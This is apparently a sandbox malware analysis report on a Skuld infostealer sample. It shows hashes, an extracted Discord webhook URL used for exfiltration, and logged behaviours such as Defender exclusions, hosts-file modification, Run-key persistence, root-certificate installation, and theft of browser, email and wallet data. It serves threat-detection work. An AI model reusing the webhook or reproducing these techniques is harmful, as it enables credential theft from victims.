Analysis
-
max time kernel
150s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
17-11-2024 21:21
Static task
static1
Behavioral task
behavioral1
Sample
2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe
Resource
win10v2004-20241007-en
General
-
Target
2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe
-
Size
9.9MB
-
MD5
1628b892b50a97a5e259e42bf612bff4
-
SHA1
b71977eaca084ac38796c1806ae2864eb418ed8c
-
SHA256
a4b6ce83fa4279b4aa2c01a6f27c8c707c12b737679d71ed1c8b2a30bf5ee27f
-
SHA512
dd642764f5838bde57bcc462542da72d4687b638f456f19c26de0290370ab3ee14b06b291b8ac595416225df1f76c14b61bff80122658546079c028d6240180b
-
SSDEEP
98304:0zU4brhxBASgf/gEpiji6Ig8TWAhEIICafZm/mbnXg:0xrhxBAGZji6IdThiRTXg
Malware Config
Extracted
skuld
https://discord.com/api/webhooks/1304355515471630398/4sV8PAv7EZNeWqmMmZU4VN6scHe9zQoOYwcQha-TCFbdSkqOQHD2Y8Y7RRtoXv2vvBEM
Signatures
-
Skuld family
-
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4988 powershell.exe 1108 powershell.exe -
Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe File opened for modification C:\Windows\System32\drivers\etc\hosts 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe" 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 16 discord.com 17 discord.com -
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 3 api.ipify.org 5 api.ipify.org 8 ip-api.com -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 512 netsh.exe -
Detects videocard installed 1 TTPs 2 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4552 wmic.exe 2732 wmic.exe -
GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
description flow ioc HTTP User-Agent header 9 Go-http-client/1.1 -
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 5c000000010000000400000000080000190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c7e00000001000000080000000000042beb77d5017a000000010000000c000000300a06082b060105050703097f000000010000000c000000300a06082b060105050703091d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c990b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703080f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d0400000001000000100000003e455215095192e1b75d379fb187298a200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c99140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b9992367f000000010000000c000000300a06082b060105050703097a000000010000000c000000300a06082b060105050703097e00000001000000080000000000042beb77d501030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4988 powershell.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4988 powershell.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 1108 powershell.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 1108 powershell.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4560 2024-11-17_1628b892b50a97a5e259e42bf612bff4_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe Token: SeIncreaseQuotaPrivilege 4748 wmic.exe Token: SeSecurityPrivilege 4748 wmic.exe Token: SeTakeOwnershipPrivilege 4748 wmic.exe Token: SeLoadDriverPrivilege 4748 wmic.exe Token: SeSystemProfilePrivilege 4748 wmic.exe Token: SeSystemtimePrivilege 4748 wmic.exe Token: SeProfSingleProcessPrivilege 4748 wmic.exe Token: SeIncBasePriorityPrivilege 4748 wmic.exe Token: SeCreatePagefilePrivilege 4748 wmic.exe Token: SeBackupPrivilege 4748 wmic.exe Token: SeRestorePrivilege 4748 wmic.exe Token: SeShutdownPrivilege 4748 wmic.exe Token: SeDebugPrivilege 4748 wmic.exe Token: SeSystemEnvironmentPrivilege 4748 wmic.exe Token: SeRemoteShutdownPrivilege 4748 wmic.exe Token: SeUndockPrivilege 4748 wmic.exe Token: SeManageVolumePrivilege 4748 wmic.exe Token: 33 4748 wmic.exe Token: 34 4748 wmic.exe Token: 35 4748 wmic.exe Token: 36 4748 wmic.exe Token: SeIncreaseQuotaPrivilege 4748 wmic.exe Token: SeSecurityPrivilege 4748 wmic.exe Token: SeTakeOwnershipPrivilege 4748 wmic.exe Token: SeLoadDriverPrivilege 4748 wmic.exe Token: SeSystemProfilePrivilege 4748 wmic.exe Token: SeSystemtimePrivilege 4748 wmic.exe Token: SeProfSingleProcessPrivilege 4748 wmic.exe Token: SeIncBasePriorityPrivilege 4748 wmic.exe Token: SeCreatePagefilePrivilege 4748 wmic.exe Token: SeBackupPrivilege 4748 wmic.exe Token: SeRestorePrivilege 4748 wmic.exe Token: SeShutdownPrivilege 4748 wmic.exe Token: SeDebugPrivilege 4748 wmic.exe Token: SeSystemEnvironmentPrivilege 4748 wmic.exe Token: SeRemoteShutdownPrivilege 4748 wmic.exe Token: SeUndockPrivilege 4748 wmic.exe Token: SeManageVolumePrivilege 4748 wmic.exe Token: 33 4748 wmic.exe Token: 34 4748 wmic.exe Token: 35 4748 wmic.exe Token: 36 4748 wmic.exe Token: SeIncreaseQuotaPrivilege 4552 wmic.exe Token: SeSecurityPrivilege 4552 wmic.exe Token: SeTakeOwnershipPrivilege 4552 wmic.exe 